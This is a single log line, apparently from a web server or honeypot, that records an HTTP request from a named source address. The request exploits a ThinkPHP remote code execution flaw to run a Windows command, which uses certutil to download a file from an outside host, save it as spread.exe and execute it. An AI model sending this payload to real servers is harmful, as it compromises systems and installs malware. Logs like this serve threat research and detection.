68570bb622d8c: GET http://159.65.12.185:80/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd.exe+%2Fc+certutil+-urlcache+-split+-f+http%3A%2F%2F26.71.166.94%3A19490%2Fspread.txt+C%3A%5CProgramData%5Cspread.exe+%26%26+C%3A%5CProgramData%5Cspread.exe at 2025-06-22 02:44:54 am by 206.62.173.179